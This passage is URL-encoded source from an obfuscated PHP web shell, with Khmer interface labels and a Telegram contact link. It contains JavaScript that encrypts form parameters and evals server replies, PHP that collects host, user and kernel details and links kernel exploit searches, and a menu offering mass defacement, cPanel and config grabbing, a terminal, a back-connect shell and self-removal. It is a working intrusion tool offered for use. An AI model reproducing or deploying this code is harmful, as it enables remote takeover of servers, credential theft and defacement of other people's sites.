%09%7Btext-align%3Aleft%3Bbackground-color%3A%230d0d0d%3B%7D%0A%09.main%20tr%3Ahover%7Bbackground-color%3A%23373c42%3B%7D%0A%09.main%20td%2C%20th%7Bvertical-align%3Amiddle%3B%7D%0A%09input%5Btype%3D%27submit%27%5D%7Bbackground-color%3A%23ff5e00d9%3B%7D%0A%09input%5Btype%3D%27button%27%5D%7Bbackground-color%3A%23ff5e00d9%3B%7D%0A%09input%5Btype%3D%27submit%27%5D%3Ahover%7Bbackground-color%3A%23ff5e00d9%3B%7D%0A%09input%5Btype%3D%27button%27%5D%3Ahover%7Bbackground-color%3A%23ff5e00d9%3B%7D%0A%09.l1%09%09%09%7Bbackground-color%3A%23202832%3B%7D%0A%09pre%09%09%09%7Bfont%3A9pt%20Courier%20New%3B%7D%0A%3C%2Fstyle%3E%0A%3Cscript%3E%0A%20%20%20%20var%20c%5f%20%3D%20%27%22%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24GLOBALS%5B%22cwd%22%5D%29%20.%20%22%27%3B%0A%20%20%20%20var%20a%5f%20%3D%20%27%22%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%40%24%5fPOST%5B%22a%22%5D%29%20.%20%22%27%0A%20%20%20%20var%20charset%5f%20%3D%20%27%22%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%40%24%5fPOST%5B%22charset%22%5D%29%20.%20%22%27%3B%0A%20%20%20%20var%20p1%5f%20%3D%20%27%22%20.%20%28%24GLOBALS%5B%22tinh%22%5D%5B29%5D%28%40%24%5fPOST%5B%22p1%22%5D%2C%20%22%5Cn%22%29%20!%3D%3D%20false%20%3F%20%22%22%20%3A%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24%5fPOST%5B%22p1%22%5D%2C%20ENT%5fQUOTES%29%29%20.%20%22%27%3B%0A%20%20%20%20var%20p2%5f%20%3D%20%27%22%20.%20%28%24GLOBALS%5B%22tinh%22%5D%5B29%5D%28%40%24%5fPOST%5B%22p2%22%5D%2C%20%22%5Cn%22%29%20!%3D%3D%20false%20%3F%20%22%22%20%3A%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24%5fPOST%5B%22p2%22%5D%2C%20ENT%5fQUOTES%29%29%20.%20%22%27%3B%0A%20%20%20%20var%20p3%5f%20%3D%20%27%22%20.%20%28%24GLOBALS%5B%22tinh%22%5D%5B29%5D%28%40%24%5fPOST%5B%22p3%22%5D%2C%20%22%5Cn%22%29%20!%3D%3D%20false%20%3F%20%22%22%20%3A%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24%5fPOST%5B%22p3%22%5D%2C%20ENT%5fQUOTES%29%29%20.%20%22%27%3B%0A%20%20%20%20var%20d%20%3D%20document%3B%0A%09function%20encrypt%28str%2Cpwd%29%7Bif%28pwd%3D%3Dnull%7C%7Cpwd.length%3C%3D0%29%7Breturn%20null%3B%7Dstr%3Dbase64%5fencode%28str%29%3Bpwd%3Dbase64%5fencode%28pwd%29%3Bvar%20enc%5fchr%3D%27%27%3Bvar%20enc%5fstr%3D%27%27%3Bvar%20i%3D0%3Bwhile%28i%3Cstr.length%29%7Bfor%28var%20j%3D0%3Bj%3Cpwd.length%3Bj%2B%2B%29%7Benc%5fchr%3Dstr.charCodeAt%28i%29%5Epwd.charCodeAt%28j%29%3Benc%5fstr%2B%3DString.fromCharCode%28enc%5fchr%29%3Bi%2B%2B%3Bif%28i%3E%3Dstr.length%29break%3B%7D%7Dreturn%20base64%5fencode%28enc%5fstr%29%3B%7D%0A%09function%20utf8%5fencode%28argString%29%7Bvar%20string%3D%28argString%2B%27%27%29%3Bvar%20utftext%3D%27%27%2Cstart%2Cend%2Cstringl%3D0%3Bstart%3Dend%3D0%3Bstringl%3Dstring.length%3Bfor%28var%20n%3D0%3Bn%3Cstringl%3Bn%2B%2B%29%7Bvar%20c1%3Dstring.charCodeAt%28n%29%3Bvar%20enc%3Dnull%3Bif%28c1%3C128%29%7Bend%2B%2B%3B%7Delse%20if%28c1%3E127%26%26c1%3C2048%29%7Benc%3DString.fromCharCode%28%28c1%3E%3E6%29%7C192%29%2BString.fromCharCode%28%28c1%2663%29%7C128%29%3B%7Delse%7Benc%3DString.fromCharCode%28%28c1%3E%3E12%29%7C224%29%2BString.fromCharCode%28%28%28c1%3E%3E6%29%2663%29%7C128%29%2BString.fromCharCode%28%28c1%2663%29%7C128%29%3B%7Dif%28enc!%3D%3Dnull%29%7Bif%28end%3Estart%29%7Butftext%2B%3Dstring.slice%28start%2Cend%29%3B%7Dutftext%2B%3Denc%3Bstart%3Dend%3Dn%2B1%3B%7D%7Dif%28end%3Estart%29%7Butftext%2B%3Dstring.slice%28start%2Cstringl%29%3B%7Dreturn%20utftext%3B%7D%0A%09function%20base64%5fencode%28data%29%7Bvar%20b64%20%3D%20%27ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%2B%2F%3D%27%3Bvar%20o1%2Co2%2Co3%2Ch1%2Ch2%2Ch3%2Ch4%2Cbits%2Ci%3D0%2Cac%3D0%2Cenc%3D%27%27%2Ctmp%5farr%3D%5B%5D%3Bif%20%28!data%29%7Breturn%20data%3B%7Ddata%3Dutf8%5fencode%28data%2B%27%27%29%3Bdo%7Bo1%3Ddata.charCodeAt%28i%2B%2B%29%3Bo2%3Ddata.charCodeAt%28i%2B%2B%29%3Bo3%3Ddata.charCodeAt%28i%2B%2B%29%3Bbits%3Do1%3C%3C16%7Co2%3C%3C8%7Co3%3Bh1%3Dbits%3E%3E18%260x3f%3Bh2%3Dbits%3E%3E12%260x3f%3Bh3%3Dbits%3E%3E6%260x3f%3Bh4%3Dbits%260x3f%3Btmp%5farr%5Bac%2B%2B%5D%3Db64.charAt%28h1%29%2Bb64.charAt%28h2%29%2Bb64.charAt%28h3%29%2Bb64.charAt%28h4%29%3B%7Dwhile%28i%3Cdata.length%29%3Benc%3Dtmp%5farr.join%28%27%27%29%3Bswitch%20%28data.length%253%29%7Bcase%201%3Aenc%3Denc.slice%280%2C-2%29%2B%27%3D%3D%27%3Bbreak%3Bcase%202%3Aenc%3Denc.slice%280%2C-1%29%2B%27%3D%27%3Bbreak%3B%7Dreturn%20enc%3B%7D%0A%09function%20set%28a%2Cc%2Cp1%2Cp2%2Cp3%2Ccharset%29%20%7B%0A%09%09if%28a!%3Dnull%29d.mf.a.value%3Da%3Belse%20d.mf.a.value%3Da%5f%3B%0A%09%09if%28c!%3Dnull%29d.mf.c.value%3Dc%3Belse%20d.mf.c.value%3Dc%5f%3B%0A%09%09if%28p1!%3Dnull%29d.mf.p1.value%3Dp1%3Belse%20d.mf.p1.value%3Dp1%5f%3B%0A%09%09if%28p2!%3Dnull%29d.mf.p2.value%3Dp2%3Belse%20d.mf.p2.value%3Dp2%5f%3B%0A%09%09if%28p3!%3Dnull%29d.mf.p3.value%3Dp3%3Belse%20d.mf.p3.value%3Dp3%5f%3B%0A%09%09d.mf.a.value%20%3D%20encrypt%28d.mf.a.value%2C%27%22%20.%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%20.%20%22%27%29%3B%0A%09%09d.mf.c.value%20%3D%20encrypt%28d.mf.c.value%2C%27%22%20.%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%20.%20%22%27%29%3B%0A%09%09d.mf.p1.value%20%3D%20encrypt%28d.mf.p1.value%2C%27%22%20.%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%20.%20%22%27%29%3B%0A%09%09d.mf.p2.value%20%3D%20encrypt%28d.mf.p2.value%2C%27%22%20.%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%20.%20%22%27%29%3B%0A%09%09d.mf.p3.value%20%3D%20encrypt%28d.mf.p3.value%2C%27%22%20.%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%20.%20%22%27%29%3B%0A%09%09if%28charset!%3Dnull%29d.mf.charset.value%3Dcharset%3Belse%20d.mf.charset.value%3Dcharset%5f%3B%0A%09%7D%0A%09function%20g%28a%2Cc%2Cp1%2Cp2%2Cp3%2Ccharset%29%20%7B%0A%09%09set%28a%2Cc%2Cp1%2Cp2%2Cp3%2Ccharset%29%3B%0A%09%09d.mf.submit%28%29%3B%0A%09%7D%0A%09function%20a%28a%2Cc%2Cp1%2Cp2%2Cp3%2Ccharset%29%20%7B%0A%09%09set%28a%2Cc%2Cp1%2Cp2%2Cp3%2Ccharset%29%3B%0A%09%09var%20params%20%3D%20%27ajax%3Dtrue%27%3B%0A%09%09for%28i%3D0%3Bi%3Cd.mf.elements.length%3Bi%2B%2B%29%0A%09%09%09params%20%2B%3D%20%27%26%27%2Bd.mf.elements%5Bi%5D.name%2B%27%3D%27%2BencodeURIComponent%28d.mf.elements%5Bi%5D.value%29%3B%0A%09%09sr%28%27%22%20.%20addslashes%28%24%5fSERVER%5B%22REQUEST%5fURI%22%5D%29%20.%20%22%27%2C%20params%29%3B%0A%09%7D%0A%09function%20sr%28url%2C%20params%29%20%7B%0A%09%09if%20%28window.XMLHttpRequest%29%0A%09%09%09req%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%09%09else%20if%20%28window.ActiveXObject%29%0A%09%09%09req%20%3D%20new%20ActiveXObject%28%27Microsoft.XMLHTTP%27%29%3B%0A%20%20%20%20%20%20%20%20if%20%28req%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20req.onreadystatechange%20%3D%20processReqChange%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20req.open%28%27POST%27%2C%20url%2C%20true%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20req.setRequestHeader%20%28%27Content-Type%27%2C%20%27application%2Fx-www-form-urlencoded%27%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20req.send%28params%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%09%7D%0A%09function%20processReqChange%28%29%20%7B%0A%09%09if%28%20%28req.readyState%20%3D%3D%204%29%20%29%0A%09%09%09if%28req.status%20%3D%3D%20200%29%20%7B%0A%09%09%09%09var%20reg%20%3D%20new%20RegExp%28%5C%22%28%5C%5C%5C%5Cd%2B%29%28%5B%5C%5C%5C%5CS%5C%5C%5C%5Cs%5D%2a%29%5C%22%2C%20%27m%27%29%3B%0A%09%09%09%09var%20arr%3Dreg.exec%28req.responseText%29%3B%0A%09%09%09%09eval%28arr%5B2%5D.substr%280%2C%20arr%5B1%5D%29%29%3B%0A%09%09%09%7D%20else%20alert%28%27Request%20error!%27%29%3B%0A%09%7D%0A%3C%2Fscript%3E%0A%3Chead%3E%3Cbody%3E%3Cdiv%20style%3D%27position%3Aabsolute%3Bbackground-color%3Argba%2895%2C%20110%2C%20130%2C%200.3%29%3Bwidth%3A100%25%3Btop%3A0%3Bleft%3A0%3B%27%3E%0A%3Cform%20method%3Dpost%20name%3Dmf%20style%3D%27display%3Anone%3B%27%3E%0A%3Cinput%20type%3Dhidden%20name%3Da%3E%0A%3Cinput%20type%3Dhidden%20name%3Dc%3E%0A%3Cinput%20type%3Dhidden%20name%3Dp1%3E%0A%3Cinput%20type%3Dhidden%20name%3Dp2%3E%0A%3Cinput%20type%3Dhidden%20name%3Dp3%3E%0A%3Cinput%20type%3Dhidden%20name%3Dcharset%3E%0A%3C%2Fform%3E%22%3B%20%24freeSpace%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B23%5D%28%24GLOBALS%5B%22cwd%22%5D%29%3B%20%24totalSpace%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B24%5D%28%24GLOBALS%5B%22cwd%22%5D%29%3B%20%24totalSpace%20%3D%20%24totalSpace%20%3F%20%24totalSpace%20%3A%201%3B%20%24release%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B22%5D%28%22r%22%29%3B%20%24kernel%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B22%5D%28%22s%22%29%3B%20%24explink%20%3D%20%22https%3A%2F%2Fwww.exploit-db.com%2Fsearch%2F%3Faction%3Dsearch%26description%3D%22%3B%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B29%5D%28%22Linux%22%2C%20%24kernel%29%20!%3D%3D%20false%29%20%7B%20%24explink%20.%3D%20urlencode%28%22Linux%20Kernel%20%22%20.%20substr%28%24release%2C%200%2C%206%29%29%3B%20%7D%20else%20%7B%20%24explink%20.%3D%20urlencode%28%24kernel%20.%20%22%20%22%20.%20substr%28%24release%2C%200%2C%203%29%29%3B%20%7D%20if%20%28!%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22posix%5fgetegid%22%29%29%20%7B%20%24user%20%3D%20%40get%5fcurrent%5fuser%28%29%3B%20%24uid%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B16%5D%28%29%3B%20%24gid%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B17%5D%28%29%3B%20%24group%20%3D%20%22%3F%22%3B%20%7D%20else%20%7B%20%24uid%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B18%5D%28%40%24GLOBALS%5B%22tinh%22%5D%5B20%5D%28%29%29%3B%20%24gid%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B19%5D%28%40%24GLOBALS%5B%22tinh%22%5D%5B21%5D%28%29%29%3B%20%24user%20%3D%20%24uid%5B%22name%22%5D%3B%20%24uid%20%3D%20%24uid%5B%22uid%22%5D%3B%20%24group%20%3D%20%24gid%5B%22name%22%5D%3B%20%24gid%20%3D%20%24gid%5B%22gid%22%5D%3B%20%7D%20%24cwd%5flinks%20%3D%20%22%22%3B%20%24path%20%3D%20explode%28%22%2F%22%2C%20%24GLOBALS%5B%22cwd%22%5D%29%3B%20%24n%20%3D%20count%28%24path%29%3B%20for%20%28%24i%20%3D%200%3B%20%24i%20%3C%20%24n%20-%201%3B%20%24i%2B%2B%29%20%7B%20%24cwd%5flinks%20.%3D%20%22%3Ca%20href%3D%27%23%27%20onclick%3D%27g%28%5C%22FilesMan%5C%22%2C%5C%22%22%3B%20for%20%28%24j%20%3D%200%3B%20%24j%20%3C%3D%20%24i%3B%20%24j%2B%2B%29%20%7B%20%24cwd%5flinks%20.%3D%20%24path%5B%24j%5D%20.%20%22%2F%22%3B%20%7D%20%24cwd%5flinks%20.%3D%20%22%5C%22%29%27%3E%22%20.%20%24path%5B%24i%5D%20.%20%22%2F%3C%2Fa%3E%22%3B%20%7D%20%24charsets%20%3D%20%5B%22UTF-8%22%2C%20%22Windows-1251%22%2C%20%22KOI8-R%22%2C%20%22KOI8-U%22%2C%20%22cp866%22%5D%3B%20%24opt%5fcharsets%20%3D%20%22%22%3B%20foreach%20%28%24charsets%20as%20%24%E2%96%9F%29%20%7B%20%24opt%5fcharsets%20.%3D%20%27%3Coption%20value%3D%22%27%20.%20%24%E2%96%9F%20.%20%27%22%20%27%20.%20%28%24%5fPOST%5B%22charset%22%5D%20%3D%3D%20%24%E2%96%9F%20%3F%20%22selected%22%20%3A%20%22%22%29%20.%20%22%3E%22%20.%20%24%E2%96%9F%20.%20%22%3C%2Foption%3E%22%3B%20%7D%20%24m%20%3D%20%5B%20%22Sec.%20Info%22%20%3D%3E%20%22SecInfo%22%2C%20%22Files%22%20%3D%3E%20%22FilesMan%22%2C%20%22Mass%20Deface%22%20%3D%3E%20%22Sql%22%2C%20%22Adminer%22%20%3D%3E%20%22Infect%22%2C%20%22Mass%20Htcss%22%20%3D%3E%20%22Ht%22%2C%20%22Lock%20File%22%20%3D%3E%20%22Lockfile%22%2C%20%22AntiVirus%22%20%3D%3E%20%22Antivirus%22%2C%20%22Terminal%22%20%3D%3E%20%22Console%22%2C%20%22Mass%20Title%20Edit%22%20%3D%3E%20%22Massuser%22%2C%20%22Grab%20Cpanel%22%20%3D%3E%20%22Php%22%2C%20%22Get%20Configs%22%20%3D%3E%20%22SafeMode%22%2C%20%22Jumping%22%20%3D%3E%20%22StringTools%22%2C%20%22Cgi%20Telnet%22%20%3D%3E%20%22Bruteforce%22%2C%20%22Back%20Connect%22%20%3D%3E%20%22Network%22%2C%20%5D%3B%20if%20%28!empty%28%24GLOBALS%5B%22%E2%96%9B%22%5D%29%29%20%7B%20%24m%5B%22Logout%22%5D%20%3D%20%22Logout%22%3B%20%7D%20%24m%5B%22Self%20remove%22%5D%20%3D%20%22SelfRemove%22%3B%20%24menu%20%3D%20%22%22%3B%20foreach%20%28%24m%20as%20%24k%20%3D%3E%20%24v%29%20%7B%20%24menu%20.%3D%20%27%3Cth%3E%5B%20%3Ca%20href%3D%22%23%22%20onclick%3D%22g%28%5C%27%27%20.%20%24v%20.%20%27%5C%27%2Cnull%2C%5C%27%5C%27%2C%5C%27%5C%27%2C%5C%27%5C%27%29%22%3E%27%20.%20%24k%20.%20%22%3C%2Fa%3E%20%5D%3C%2Fth%3E%22%3B%20%7D%20%24drives%20%3D%20%22%22%3B%20if%20%28%24GLOBALS%5B%22os%22%5D%20%3D%3D%20%22win%22%29%20%7B%20foreach%20%28range%28%22c%22%2C%20%22z%22%29%20as%20%24drive%29%20%7B%20if%20%28is%5fdir%28%24drive%20.%20%22%3A%5C%5C%22%29%29%20%7B%20%24drives%20.%3D%20%27%3Ca%20href%3D%22%23%22%20onclick%3D%22g%28%5C%27FilesMan%5C%27%2C%5C%27%27%20.%20%24drive%20.%20%27%3A%2F%5C%27%29%22%3E%5B%20%27%20.%20%24drive%20.%20%22%20%5D%3C%2Fa%3E%20%22%3B%20%7D%20%7D%20%7D%20%24pk%20%3D%20is%5ffile%28%22%2Fusr%2Fbin%2Fpkexec%22%29%20%3F%20%22ON%22%20%3A%20%22OFF%22%3B%20echo%20%22%3Ctable%20class%3Dinfo%20cellpadding%3D3%20cellspacing%3D0%20width%3D100%25%3E%3Ctr%3E%3Ctd%20width%3D1%3E%3Cspan%3E%E1%9E%8E%E1%9E%B6%E1%9E%98%E1%9F%89%E1%9E%B6%3A%3Cbr%3E%E1%9E%A2%E1%9F%92%E1%9E%93%E1%9E%80%E2%80%8B%E1%9E%94%E1%9F%92%E1%9E%9A%E1%9E%BE%3A%3Cbr%3EPhp%3A%3Cbr%3E%E1%9E%90%E1%9E%B6%E1%9E%9F%3A%3Cbr%3E%E1%9E%91%E1%9E%B8%E1%9E%8F%E1%9E%B6%E1%9F%86%E1%9E%84%3A%22%20.%20%28%24GLOBALS%5B%22os%22%5D%20%3D%3D%20%22win%22%20%3F%20%22%3Cbr%3E%E1%9E%8A%E1%9F%92%E1%9E%9A%E1%9E%B6%E1%9E%99%3A%22%20%3A%20%22%22%29%20.%20%22%3C%2Fspan%3E%3C%2Ftd%3E%22%20.%20%22%3Ctd%3E%3Cnobr%3E%22%20.%20substr%28%40%24GLOBALS%5B%22tinh%22%5D%5B22%5D%28%29%2C%200%2C%20120%29%20.%20%27%20%3Ca%20href%3D%22https%3A%2F%2Fwww.google.co.id%2Fsearch%3Fq%3D%27%20.%20urlencode%28%40%24GLOBALS%5B%22tinh%22%5D%5B22%5D%28%29%29%20.%20%27%22%20target%3D%22%5fblank%22%3E%5B%20Google%20%5D%3C%2Fa%3E%20%3Ca%20href%3D%22%27%20.%20%24explink%20.%20%27%22%20target%3D%5fblank%3E%5B%20Exploit-DB%20%5D%3C%2Fa%3E%3C%2Fnobr%3E%3Cbr%3E%27%20.%20%24uid%20.%20%22%20%28%20%22%20.%20%24user%20.%20%22%20%29%20%3Cspan%3E%20%E1%9E%9A%E1%9E%80%E1%9E%BB%E1%9E%98%3A%3C%2Fspan%3E%20%22%20.%20%24gid%20.%20%22%20%28%20%22%20.%20%24group%20.%20%22%20%29%20%7C%20%3Cspan%3EPKEXEC%3A%20%3Cfont%20color%3D%22.COLOR%5f2.%22%3E%24pk%20%3C%2Ffont%3E%5B%20%22.pk%28%29.%22%20%7C%20%22.lp%28%29.%22%20%5D%3C%2Fspan%3E%3Cbr%3E%22%20.%20%40phpversion%28%29%20.%20%22%20%3Cspan%3E%E1%9E%85%E1%9F%86%E1%9E%8E%E1%9E%BB%E1%9E%85%E2%80%8B%E1%9E%9F%E1%9E%BB%E1%9E%9C%E1%9E%8F%E1%9F%92%E1%9E%90%E1%9E%B7%E1%9E%97%E1%9E%B6%E1%9E%96%3A%3C%2Fspan%3E%20%22%20.%20%28%24GLOBALS%5B%22safe%5fmode%22%5D%20%3F%20%22%3Cfont%20color%3Dred%3E%E1%9E%93%E1%9F%85%E1%9E%9B%E1%9E%BE%3C%2Ffont%3E%22%20%3A%20%22%3Cfont%20color%3D%22.COLOR%5f2.%22%3E%3Cb%3E%E1%9E%9F%E1%9F%92%E1%9E%9B%E1%9E%B6%E1%9E%94%E1%9F%8B%3C%2Fb%3E%3C%2Ffont%3E%22%29%20.%20%27%20%5B%20%3Cspan%3ELogin%20as%3A%20%3Ca%20href%3D%22%2F%2Ft.me%2Fx7htm%22%3E%3Cfont%20color%3D%27.COLOR%5f2.%27%3Efelicia%3F%3C%2Ffont%3E%3C%2Fa%3E%3C%2Fspan%3E%20%5D%20%3Cspan%3E%E1%9E%98%E1%9F%89%E1%9F%84%E1%9E%84%E1%9E%94%E1%9E%85%E1%9F%92%E1%9E%85%E1%9E%BB%E1%9E%94%E1%9F%92%E1%9E%94%E1%9E%93%E1%9F%92%E1%9E%93%3A%3C%2Fspan%3E%20%27%20.%20date%28%22Y-m-d%20H%3Ai%3As%22%29%20.%20%22%3Cbr%3E%22%20.%20viewSize%28%24totalSpace%29%20.%20%22%20%3Cspan%3E%E1%9E%A5%E1%9E%8F%E1%9E%82%E1%9E%B7%E1%9E%8F%E1%9E%90%E1%9F%92%E1%9E%9B%E1%9F%83%3A%3C%2Fspan%3E%20%22%20.%20viewSize%28%24freeSpace%29%20.%20%22%20%28%22%20.%20round%28100%20%2F%20%28%24totalSpace%20%2F%20%24freeSpace%29%2C%202%29%20.%20%22%25%29%3Cbr%3E%22%20.%20%24cwd%5flinks%20.%20%22%20%22%20.%20viewPermsColor%28%24GLOBALS%5B%22cwd%22%5D%29%20.%20%27%20%3Ca%20href%3D%23%20onclick%3D%22g%28%5C%27FilesMan%5C%27%2C%5C%27%27%20.%20%24GLOBALS%5B%22home%5fcwd%22%5D%20.%20%27%5C%27%2C%5C%27%5C%27%2C%5C%27%5C%27%2C%5C%27%5C%27%29%22%3E%5B%20%E1%9E%8F%E1%9F%92%E1%9E%9A%E1%9E%A1%E1%9E%94%E1%9F%8B%E1%9E%98%E1%9E%80%E1%9E%9C%E1%9E%B7%E1%9E%89%20%5D%3C%2Fa%3E%3Cbr%3E%27%20.%20%24drives%20.%20%22%3C%2Ftd%3E%22%20.%20%27%3Ctd%20width%3D1%20align%3Dright%3E%3Cnobr%3E%3Clabel%3E%3Cselect%20onchange%3D%22g%28null%2Cnull%2Cnull%2Cnull%2Cnull%2Cthis.value%29%22%3E%27%20.%20%24opt%5fcharsets%20.%20%22%3C%2Fselect%3E%3C%2Flabel%3E%3Cbr%3E%3Cspan%3E%E1%9E%98%E1%9F%89%E1%9E%B6%E1%9E%9F%E1%9F%8A%E1%9E%B8%E1%9E%93%E1%9E%98%E1%9F%81%20IP%3A%3C%2Fspan%3E%3Cbr%3E%22%20.%20gethostbyname%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22%3Cbr%3E%3Cspan%3EIP%20%E1%9E%A2%E1%9E%8F%E1%9E%B7%E1%9E%90%E1%9E%B7%E1%9E%87%E1%9E%93%3A%3C%2Fspan%3E%3Cbr%3E%22%20.%20%24%5fSERVER%5B%22REMOTE%5fADDR%22%5D%20.%20%22%3C%2Fnobr%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Ftable%3E%22%20.%20%27%3Ctable%20style%3D%22background-color%3A%23373c42%3B%22%20cellpadding%3D3%20cellspacing%3D0%20width%3D100%25%3E%3Ctr%3E%27%20.%20%24menu%20.%20%22%3C%2Ftr%3E%3C%2Ftable%3E%3Cdiv%3E%3Cbr%3E%22%3B%20%7D%20function%20hardFooter%28%29%20%7B%20%24is%5fwritable%20%3D%20is%5fwritable%28%24GLOBALS%5B%22cwd%22%5D%29%20%3F%20%22%20%3Cfont%20color%3D%27%22.COLOR%5f2.%22%27%3E%5B%20Writeable%20%5D%3C%2Ffont%3E%22%20%3A%20%22%20%3Cfont%20color%3Dred%3E%28Not%20writable%29%3C%2Ffont%3E%22%3B%20echo%20%22%0A%3C%2Fdiv%3E%0A%3Ctable%20class%3Dinfo%20id%3DtoolsTbl%20cellpadding%3D3%20cellspacing%3D0%20width%3D100%25%3E%0A%09%3Ctr%3E%0A%09%09%3Ctd%3E%3Cform%20onsubmit%3D%5C%22%22%20.%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22actionFilesMan%22%29%20%3F%20%22g%28null%2Cthis.c.value%2C%27%27%29%3B%22%20%3A%20%22%22%29%20.%20%22return%20false%3B%5C%22%3E%3Cspan%3E%E1%9E%95%E1%9F%92%E1%9E%9B%E1%9E%B6%E1%9E%9F%E1%9F%8B%E1%9E%94%E1%9F%92%E1%9E%8F%E1%9E%BC%E1%9E%9A%E1%9E%90%E1%9E%8F%3A%3C%2Fspan%3E%3Cbr%3E%3Cinput%20class%3D%27toolsInp%27%20type%3Dtext%20name%3Dc%20value%3D%27%22%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24GLOBALS%5B%22cwd%22%5D%29%20.%20%22%27%3E%3Cinput%20type%3Dsubmit%20value%3D%27submit%27%3E%3C%2Fform%3E%3C%2Ftd%3E%0A%09%09%3Ctd%3E%3Cform%20onsubmit%3D%5C%22%22%20.%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22actionFilesTools%22%29%20%3F%20%22g%28%27FilesTools%27%2Cnull%2Cthis.f.value%29%3B%22%20%3A%20%22%22%29%20.%20%22return%20false%3B%5C%22%3E%3Cspan%3E%E1%9E%A2%E1%9E%B6%E1%9E%93%E1%9E%AF%E1%9E%80%E1%9E%9F%E1%9E%B6%E1%9E%9A%3A%3C%2Fspan%3E%3Cbr%3E%3Cinput%20class%3D%27toolsInp%27%20type%3Dtext%20name%3Df%20required%3E%3Cinput%20type%3Dsubmit%20value%3D%27submit%27%3E%3C%2Fform%3E%3C%2Ftd%3E%0A%09%3C%2Ftr%3E%3Ctr%3E%0A%09%09%3Ctd%3E%3Cform%20onsubmit%3D%5C%22%22%20.%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22actionFilesMan%22%29%20%3F%20%22g%28%27FilesMan%27%2Cnull%2C%27mkdir%27%2Cthis.d.value%29%3B%22%20%3A%20%22%22%29%20.%20%22return%20false%3B%5C%22%3E%3Cspan%3E%E1%9E%94%E1%9E%84%E1%9F%92%E1%9E%80%E1%9E%BE%E1%9E%8F%E1%9E%90%E1%9E%8F%3A%3C%2Fspan%3E%24is%5fwritable%3Cbr%3E%3Cinput%20class%3D%27toolsInp%27%20type%3Dtext%20name%3Dd%20required%3E%3Cinput%20type%3Dsubmit%20value%3D%27submit%27%3E%3C%2Fform%3E%3C%2Ftd%3E%0A%09%09%3Ctd%3E%3Cform%20onsubmit%3D%5C%22%22%20.%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22actionFilesTools%22%29%20%3F%20%22g%28%27FilesTools%27%2Cnull%2Cthis.f.value%2C%27mkfile%27%29%3B%22%20%3A%20%22%22%29%20.%20%22return%20false%3B%5C%22%3E%3Cspan%3E%E1%9E%94%E1%9E%84%E1%9F%92%E1%9E%80%E1%9E%BE%E1%9E%8F%E1%9E%AF%E1%9E%80%E1%9E%9F%E1%9E%B6%E1%9E%9A%3A%3C%2Fspan%3E%24is%5fwritable%3Cbr%3E%3Cinput%20class%3D%27toolsInp%27%20type%3Dtext%20name%3Df%20required%3E%3Cinput%20type%3Dsubmit%20value%3D%27submit%27%3E%3C%2Fform%3E%3C%2Ftd%3E%0A%09%3C%2Ftr%3E%3Ctr%3E%0A%09%09%3Ctd%3E%3Cform%20onsubmit%3D%5C%22%22%20.%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22actionConsole%22%29%20%3F%20%22g%28%27Console%27%2Cnull%2Cthis.c.value%29%3B%22%20%3A%20%22%22%29%20.%20%22return%20false%3B%5C%22%3E%3Cspan%3E%E1%9E%80%E1%9E%B6%E1%9E%9A%E1%9E%94%E1%9F%92%E1%9E%9A%E1%9E%8F%E1%9E%B7%E1%9E%94%E1%9E%8F%E1%9F%92%E1%9E%8F%E1%9E%B7%3A%3C%2Fspan%3E%3Cbr%3E%3Cinput%20class%3D%27toolsInp%27%20type%3Dtext%20name%3Dc%20value%3D%27%27%3E%3Cinput%20type%3Dsubmit%20value%3D%27submit%27%3E%3C%2Fform%3E%3C%2Ftd%3E%0A%09%09%3Ctd%3E%3Cform%20method%3D%27post%27%20%22%20.%20%28!%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22actionFilesMan%22%29%20%3F%20%22%20onsubmit%3D%5C%22return%20false%3B%5C%22%20%22%20%3A%20%22%22%29%20.%20%22ENCTYPE%3D%27multipart%2Fform-data%27%3E%0A%09%09%3Cinput%20type%3Dhidden%20name%3Da%20value%3D%27FilesMan%27%3E